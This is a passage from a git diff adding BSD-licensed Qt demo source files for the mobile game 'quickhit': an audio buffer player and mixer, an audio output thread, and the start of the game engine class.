+ //tempCounter++;
+ };
+ } else { // mono
+ int temp;
+ while (target!=t_target) {
+ sourcepos = m_fixedPos>>12;
+ temp = (((sampleFunction)( m_buffer, sourcepos, 0 ) * (4096-(m_fixedPos&4095)) + (sampleFunction)( m_buffer, sourcepos+1, 0 ) * (m_fixedPos&4095) ) >> 12);
+ target[0] = ((temp*m_fixedLeftVolume)>>12);
+ target[1] = ((temp*m_fixedRightVolume)>>12);
+ m_fixedPos+=m_fixedInc;
+ target+=2;
+ //tempCounter++;
+ };
+
+ };
+
+ return samplesToMix;
+};
+
+
+
+int CAudioBufferPlayInstance::pullAudio( AUDIO_SAMPLE_TYPE *target, int bufferLength ) {
+ if (!m_buffer) return 0; // no sample associated to mix..
+
+ int channelLength = ((m_buffer->getDataLength()) / (m_buffer->getNofChannels()*m_buffer->getBytesPerSample()))-2;
+
+ int samplesToWrite = bufferLength/2;
+ int amount;
+ int totalMixed = 0;
+
+
+ while (samplesToWrite>0) {
+ int samplesLeft = channelLength - (m_fixedPos>>12);
+ int maxMixAmount = (int)(((long long int)(samplesLeft)<<12) / m_fixedInc ); // This is how much we can mix at least
+ //int maxMixAmount = (int)((float)samplesLeft / ((float)m_fixedInc/4096.0f));
+ //if (maxMixAmount<1) maxMixAmount = 1; // NOTE, THIS MIGHT CAUSE PROBLEMS. NEEDS CHECKING
+ if (maxMixAmount>samplesToWrite) {
+ maxMixAmount=samplesToWrite;
+ }
+
+ if (maxMixAmount > 0) {
+ amount=mixBlock(target+totalMixed * 2, maxMixAmount);
+
+ if (amount == 0)
+ {
+ // Error!
+ break;
+ }
+
+ totalMixed+=amount;
+ } else {
+ amount = 0;
+ m_fixedPos = channelLength<<12;
+ }
+
+ // sample is ended,.. check the looping variables and see what to do.
+ if ((m_fixedPos>>12)>=channelLength) {
+ m_fixedPos -= (channelLength<<12);
+ if (m_loopTimes>0) m_loopTimes--;
+ if (m_loopTimes==0) {
+ stop();
+ return totalMixed;
+ }
+ }
+
+ samplesToWrite-=amount;
+ if (samplesToWrite<1) break;
+ };
+ return totalMixed*2;
+};
diff --git a/demos/mobile/quickhit/ga_src/GEAudioBuffer.h b/demos/mobile/quickhit/ga_src/GEAudioBuffer.h
new file mode 100644
index 00000000..b8c0cf57
--- /dev/null
+++ b/demos/mobile/quickhit/ga_src/GEAudioBuffer.h
@@ -0,0 +1,137 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef __GE_IGA_AUDIOBUFFER__
+#define __GE_IGA_AUDIOBUFFER__
+
+#include <QFile>
+#include "GEInterfaces.h"
+
+
+namespace GE {
+
+ class CAudioBufferPlayInstance;
+ class CAudioBuffer; // forward declaration
+ typedef AUDIO_SAMPLE_TYPE(*SAMPLE_FUNCTION_TYPE)(CAudioBuffer *abuffer, int pos, int channel);
+
+ class CAudioBuffer { // container for a sound
+ public:
+ CAudioBuffer();
+ virtual ~CAudioBuffer();
+
+ static CAudioBuffer* loadWav( QString fileName );
+ static CAudioBuffer* loadWav( FILE *wavFile ); // support for stdio
+ void reallocate( int length );
+
+
+ inline void* getRawData() { return m_data; }
+ inline int getDataLength() { return m_dataLength; }
+
+ inline int getBytesPerSample() { return (m_bitsPerSample>>3); }
+ inline int getBitsPerSample() { return m_bitsPerSample; }
+ inline int getSamplesPerSec() { return m_samplesPerSec; }
+ inline short getNofChannels() { return m_nofChannels; }
+ inline SAMPLE_FUNCTION_TYPE getSampleFunction() { return m_sampleFunction; }
+
+
+ // static implementations of sample functions
+ static AUDIO_SAMPLE_TYPE sampleFunction8bitMono( CAudioBuffer *abuffer, int pos, int channel );
+ static AUDIO_SAMPLE_TYPE sampleFunction16bitMono( CAudioBuffer *abuffer, int pos, int channel );
+ static AUDIO_SAMPLE_TYPE sampleFunction8bitStereo( CAudioBuffer *abuffer, int pos, int channel );
+ static AUDIO_SAMPLE_TYPE sampleFunction16bitStereo( CAudioBuffer *abuffer, int pos, int channel );
+
+ CAudioBufferPlayInstance *playWithMixer( GE::CAudioMixer &mixer );
+
+ protected:
+ SAMPLE_FUNCTION_TYPE m_sampleFunction;
+ short m_nofChannels;
+ void *m_data;
+ int m_dataLength; // in bytes
+ short m_bitsPerSample;
+ bool m_signedData;
+ int m_samplesPerSec;
+ };
+
+
+
+ class CAudioBufferPlayInstance : public IAudioSource {
+ public:
+ CAudioBufferPlayInstance();
+ CAudioBufferPlayInstance( CAudioBuffer *start_playing );
+ virtual ~CAudioBufferPlayInstance();
+ void playBuffer( CAudioBuffer *startPlaying, float volume, float fixedSpeed, int loopTimes = 0 ); // looptimes -1 = loop forever
+
+ void setSpeed( float speed );
+ void setLeftVolume( float lvol );
+ void setRightVolume( float rvol );
+
+
+ inline void setLoopTimes( int ltimes ) { m_loopTimes = ltimes; }
+ void stop();
+
+
+
+ int pullAudio( AUDIO_SAMPLE_TYPE *target, int bufferLength );
+ bool canBeDestroyed();
+
+ bool isPlaying() { if (m_buffer) return true; else return false; }
+ inline bool isFinished() { return m_finished; }
+ inline bool destroyWhenFinished() { return m_destroyWhenFinished; }
+ inline void setDestroyWhenFinished( bool set ) { m_destroyWhenFinished = set; }
+
+ protected:
+ int mixBlock( AUDIO_SAMPLE_TYPE *target, int bufferLength );
+ bool m_finished;
+ bool m_destroyWhenFinished;
+ int m_fixedPos;
+ int m_fixedInc;
+
+ int m_fixedLeftVolume;
+ int m_fixedRightVolume;
+ int m_fixedCenter;
+ int m_loopTimes;
+ CAudioBuffer *m_buffer;
+ };
+
+};
+
+
+
+#endif
diff --git a/demos/mobile/quickhit/ga_src/GEAudioOut.cpp b/demos/mobile/quickhit/ga_src/GEAudioOut.cpp
new file mode 100644
index 00000000..a7772649
--- /dev/null
+++ b/demos/mobile/quickhit/ga_src/GEAudioOut.cpp
@@ -0,0 +1,144 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtCore/qstring.h>
+#include <QAudioOutput>
+
+#include "GEAudioOut.h"
+
+using namespace GE;
+//using namespace QTM_NAMESPACE;
+
+/*
+#ifndef Q_OS_WIN32
+QTM_USE_NAMESPACE
+#endif
+*/
+
+const int CHANNELS = 2;
+const QString CODEC = "audio/pcm";
+const QAudioFormat::Endian BYTEORDER = QAudioFormat::LittleEndian;
+const QAudioFormat::SampleType SAMTYPE = QAudioFormat::SignedInt;
+
+
+
+AudioOut::AudioOut( QObject *parent, GE::IAudioSource *source ) : QThread(parent) { // qobject
+ m_source = source;
+ QAudioFormat format;
+ format.setFrequency(AUDIO_FREQUENCY);
+ format.setChannels(CHANNELS);
+ format.setSampleSize(AUDIO_SAMPLE_BITS);
+ format.setCodec(CODEC);
+ format.setByteOrder(BYTEORDER);
+ format.setSampleType(SAMTYPE);
+
+ QAudioDeviceInfo info(QAudioDeviceInfo::defaultOutputDevice());
+ if (!info.isFormatSupported(format))
+ format = info.nearestFormat(format);
+
+
+ m_audioOutput = new QAudioOutput(info,format);
+
+#ifdef Q_WS_MAEMO_5
+ m_audioOutput->setBufferSize(20000);
+ m_sendBufferSize = 5000;
+#else
+ m_audioOutput->setBufferSize(16000);
+ m_sendBufferSize = 4000;
+#endif
+
+ m_outTarget = m_audioOutput->start();
+
+
+ m_sendBuffer = new AUDIO_SAMPLE_TYPE[ m_sendBufferSize ];
+ m_samplesMixed = 0;
+
+ m_runstate=0;
+
+#ifndef Q_OS_SYMBIAN
+ start();
+#else
+ m_audioOutput->setNotifyInterval(5);
+ connect(m_audioOutput,SIGNAL(notify()),SLOT(audioNotify()));
+#endif
+
+};
+
+
+AudioOut::~AudioOut() {
+ if (m_runstate==0) m_runstate = 1;
+ if (QThread::isRunning() == false) m_runstate = 2;
+ while (m_runstate!=2) { msleep(50); } // wait until the thread is finished
+ m_audioOutput->stop();
+ delete m_audioOutput;
+ delete [] m_sendBuffer;
+};
+
+
+void AudioOut::audioNotify() {
+ tick();
+};
+
+void AudioOut::tick() {
+ // fill data to buffer as much as free space is available..
+ int samplesToWrite = m_audioOutput->bytesFree() / (CHANNELS*AUDIO_SAMPLE_BITS/8);
+ samplesToWrite*=2;
+
+ if (samplesToWrite > m_sendBufferSize) samplesToWrite = m_sendBufferSize;
+ if (samplesToWrite<=0) return;
+ int mixedSamples = m_source->pullAudio( m_sendBuffer, samplesToWrite );
+ m_outTarget->write( (char*)m_sendBuffer, mixedSamples*2 );
+
+};
+
+
+void AudioOut::run() {
+ if (!m_source) { m_runstate=2; return; }
+ int sleepTime = m_sendBufferSize * 340 / AUDIO_FREQUENCY;
+ if (sleepTime<2) sleepTime = 2;
+
+ while (m_runstate==0) {
+ tick();
+ msleep(sleepTime);
+ };
+ m_runstate = 2;
+};
+
+
diff --git a/demos/mobile/quickhit/ga_src/GEAudioOut.h b/demos/mobile/quickhit/ga_src/GEAudioOut.h
new file mode 100644
index 00000000..2a3e3953
--- /dev/null
+++ b/demos/mobile/quickhit/ga_src/GEAudioOut.h
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef __GE_QTAUDIOOUT__
+#define __GE_QTAUDIOOUT__
+
+#include <QtCore/qobject.h>
+#include <QtCore/qfile.h>
+#include <QtMultimedia>
+#include <QtCore/qtimer.h>
+#include <QtCore/qstring.h>
+#include <QThread>
+
+#include "GEInterfaces.h"
+
+
+class QAudioOutput;
+
+namespace GE {
+
+
+
+ class AudioOut : public QThread {
+ Q_OBJECT
+
+ public:
+ AudioOut(QObject *parent, GE::IAudioSource *source);
+ virtual ~AudioOut();
+
+
+
+ private slots:
+ void audioNotify(); // for internal notify "solution"
+
+
+ protected:
+ void tick();
+ virtual void run(); // this is for the threaded mode only
+
+
+ qint64 m_samplesMixed;
+
+ QAudioOutput *m_audioOutput;
+ QIODevice *m_outTarget;
+ GE::IAudioSource *m_source;
+ int m_runstate;
+ AUDIO_SAMPLE_TYPE *m_sendBuffer;
+ int m_sendBufferSize;
+ };
+}
+
+#endif
diff --git a/demos/mobile/quickhit/ga_src/GEInterfaces.cpp b/demos/mobile/quickhit/ga_src/GEInterfaces.cpp
new file mode 100644
index 00000000..7771f58c
--- /dev/null
+++ b/demos/mobile/quickhit/ga_src/GEInterfaces.cpp
@@ -0,0 +1,177 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <memory.h>
+#include "GEInterfaces.h"
+
+
+using namespace GE;
+
+/**
+ * CAudioSource
+ * common functionality
+ *
+ */
+IAudioSource::IAudioSource() {
+ m_next = 0;
+};
+
+IAudioSource::~IAudioSource() {
+
+
+};
+
+/**
+ * CAudioMixer
+ *
+ */
+CAudioMixer::CAudioMixer() {
+ m_sourceList = 0;
+ m_mixingBuffer = 0;
+ m_mixingBufferLength = 0;
+ m_fixedGeneralVolume = 4096;
+};
+
+
+CAudioMixer::~CAudioMixer() {
+ destroyList();
+ if (m_mixingBuffer) {
+ delete [] m_mixingBuffer;
+ m_mixingBuffer = 0;
+ };
+};
+
+void CAudioMixer::destroyList() {
+ m_mutex.lock();
+ IAudioSource *l = m_sourceList;
+ while (l) {
+ IAudioSource *n = l->m_next;
+ delete l;
+ l = n;
+ };
+ m_sourceList = 0;
+ m_mutex.unlock();
+};
+
+
+IAudioSource* CAudioMixer::addAudioSource( IAudioSource *source ) {
+ m_mutex.lock();
+ source->m_next = 0;
+ if (m_sourceList) {
+ IAudioSource *l = m_sourceList;
+ while (l->m_next) l = l->m_next;
+ l->m_next = source;
+ } else m_sourceList = source;
+ m_mutex.unlock();
+ return source;
+
+};
+
+
+bool CAudioMixer::removeAudioSource( IAudioSource *source ) {
+ return true;
+};
+
+void CAudioMixer::setGeneralVolume( float vol ) {
+ m_fixedGeneralVolume = (4096.0f*vol);
+};
+
+int CAudioMixer::pullAudio( AUDIO_SAMPLE_TYPE *target, int bufferLength ) {
+
+ if (!m_sourceList) return 0;
+
+ m_mutex.lock();
+
+
+ if (m_mixingBufferLength<bufferLength) {
+ if (m_mixingBuffer) delete [] m_mixingBuffer;
+ m_mixingBufferLength = bufferLength;
+ m_mixingBuffer = new AUDIO_SAMPLE_TYPE[ m_mixingBufferLength ];
+ };
+
+ memset( target, 0, sizeof( AUDIO_SAMPLE_TYPE ) * bufferLength );
+
+ AUDIO_SAMPLE_TYPE *t;
+ AUDIO_SAMPLE_TYPE *t_target;
+ AUDIO_SAMPLE_TYPE *s;
+
+ IAudioSource *prev = 0;
+ IAudioSource *l = m_sourceList;
+ while (l) {
+ IAudioSource *next = l->m_next;
+
+ // process l
+ int mixed = l->pullAudio( m_mixingBuffer, bufferLength );
+ if (mixed>0) {
+ // mix to main..
+ t = target;
+ t_target = t+mixed;
+ s = m_mixingBuffer;
+ while (t!=t_target) {
+ *t +=(((*s)*m_fixedGeneralVolume)>>12);
+ t++;
+ s++;
+ };
+ };
+
+
+
+ // autodestroy
+ if (l->canBeDestroyed() == true) { // NOTE, IS UNDER TESTING,... MIGHT CAUSE UNPREDICTABLE CRASHING WITH SOME USE CASES!!!
+ if (!prev)
+ m_sourceList = next;
+ else prev->m_next = next;
+ delete l;
+ l = 0;
+ };
+
+
+
+
+ prev = l;
+ l = next;
+ };
+ m_mutex.unlock();
+ return bufferLength;
+};
+
+
+
+
diff --git a/demos/mobile/quickhit/ga_src/GEInterfaces.h b/demos/mobile/quickhit/ga_src/GEInterfaces.h
new file mode 100644
index 00000000..552f554b
--- /dev/null
+++ b/demos/mobile/quickhit/ga_src/GEInterfaces.h
@@ -0,0 +1,88 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef __GE_IGA_INTERFACES__
+#define __GE_IGA_INTERFACES__
+
+#include <QMutex>
+
+namespace GE {
+
+#define AUDIO_FREQUENCY 22050
+#define AUDIO_SAMPLE_TYPE short
+#define AUDIO_SAMPLE_BITS 16
+
+ class IAudioSource {
+ public:
+ IAudioSource();
+ virtual ~IAudioSource();
+
+ virtual int pullAudio( AUDIO_SAMPLE_TYPE *target, int bufferLength ) = 0;
+ virtual bool canBeDestroyed() { return false; }
+
+ IAudioSource *m_next; // for listing, do not touch if you don't know what you are doing.
+ };
+
+
+ class CAudioMixer : public IAudioSource {
+ public:
+ CAudioMixer();
+ virtual ~CAudioMixer();
+ void destroyList(); // destroy all the sources in the list
+
+
+ IAudioSource* addAudioSource( IAudioSource *s ); // add new audio source to the list
+ bool removeAudioSource( IAudioSource *s ); // remove an audio source from the list
+ int pullAudio( AUDIO_SAMPLE_TYPE *target, int bufferLength );
+ void setGeneralVolume( float vol );
+
+
+ protected:
+ QMutex m_mutex;
+ int m_fixedGeneralVolume;
+ AUDIO_SAMPLE_TYPE *m_mixingBuffer;
+ int m_mixingBufferLength;
+ IAudioSource *m_sourceList;
+ };
+
+};
+
+
+#endif
diff --git a/demos/mobile/quickhit/gameengine.cpp b/demos/mobile/quickhit/gameengine.cpp
new file mode 100644
index 00000000..4763268f
--- /dev/null
+++ b/demos/mobile/quickhit/gameengine.cpp
@@ -0,0 +1,592 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "gameengine.h"
+#include "plugins/levelplugininterface.h"
+#include "InvSounds.h"
+
+#include <QDebug>
+#include <QTimerEvent>
+#include <QTime>
+#include <QDesktopServices>
+
+const int TIMER_SPEED = 80;
+
+GameEngine::GameEngine(QObject* parent)
+ :QObject(parent)
+{
+ m_timerId = 0;
+ m_doEnemyMissile = 1500 / TIMER_SPEED;
+ m_GameGml = 0;
+ m_gameLevel = 0;
+
+ clearQmlObjects();
+
+ // For random
+ QTime time = QTime::currentTime();
+ qsrand((uint)time.msec());
+
+ // Sound engine
+ m_soundEngine = new CInvSounds(this);
+
+ // Device profile
+ m_silent = false;
+
+#ifdef Q_OS_SYMBIAN
+ iVibrate = CHWRMVibra::NewL();
+#endif
+
+ // Get device profile, is it silent?
+#if defined Q_OS_SYMBIAN || defined Q_WS_MAEMO_5
+ m_systemDeviceInfo = new QSystemDeviceInfo(this);
+ QObject::connect(m_systemDeviceInfo,SIGNAL(currentProfileChanged(QSystemDeviceInfo::Profile)),this,
+ SLOT(currentProfileChanged(QSystemDeviceInfo::Profile)));
+ QSystemDeviceInfo::Profile p = m_systemDeviceInfo->currentProfile();
+ if (p == QSystemDeviceInfo::SilentProfile) {
+ m_silent = true;
+ }
+#endif
+
+}
+
+
+GameEngine::~GameEngine()
+{
+#ifdef Q_OS_SYMBIAN
+ delete iVibrate;
+#endif
+
+}
+
+void GameEngine::gameStartSound()
+{
+ if (!m_silent)
+ m_soundEngine->gameStartSound();
+}
+
+#if defined Q_OS_SYMBIAN || defined Q_WS_MAEMO_5
+void GameEngine::currentProfileChanged(QSystemDeviceInfo::Profile p)
+{
+ if (p == QSystemDeviceInfo::SilentProfile) {
+ enableSounds(QVariant(false));
+ } else {
+ enableSounds(QVariant(true));
+ }
+}
+#endif
+
+void GameEngine::enableSounds(QVariant enable)
+{
+ m_silent = !enable.toBool();
+
+ if (m_silent)
+ this->m_soundEngine->enableSounds(false);
+ else
+ this->m_soundEngine->enableSounds(true);
+
+}
+
+QVariant GameEngine::randInt(QVariant low, QVariant high)
+{
+ // Random number between low and high
+ return qrand() % ((high.toInt() + 1) - low.toInt()) + low.toInt();
+}
+
+void GameEngine::setGameLevel(LevelPluginInterface* level)
+{
+ // Set used game level
+ m_gameLevel = level;
+
+ if (m_gameLevel) {
+ // Set used sound from the level into sound engine
+ m_soundEngine->enableSounds(m_gameLevel->levelSounds());
+ // Invoke QML to take new level in use
+ QMetaObject::invokeMethod(m_GameGml, "levelReadyForCreation", Qt::AutoConnection);
+
+ m_doEnemyMissile = m_gameLevel->enemyFireSpeed().toInt() / TIMER_SPEED;
+ }
+}
+
+void GameEngine::setPluginList(QList<QPluginLoader*> plugins)
+{
+ m_pluginList = plugins;
+}
+
+QVariant GameEngine::pluginList()
+{
+ QStringList list;
+ QPluginLoader* loader;
+ foreach (loader,m_pluginList) {
+ QString s = loader->fileName();
+ s = s.mid(s.lastIndexOf("/")+1);
+ s = s.left(s.lastIndexOf("."));
+ s = s.toUpper();
+#ifdef Q_WS_MAEMO_5
+ if (s.contains("LIB")) {
+ s = s.right(s.length() - (s.indexOf("LIB")+3));
+ }
+#endif
+ list.append(s);
+ }
+ return QVariant(list);
+}
+
+void GameEngine::pauseLevel(QVariant doPause)
+{
+ bool enableTimer = !doPause.toBool();
+ enableEngineTimer(QVariant(enableTimer));
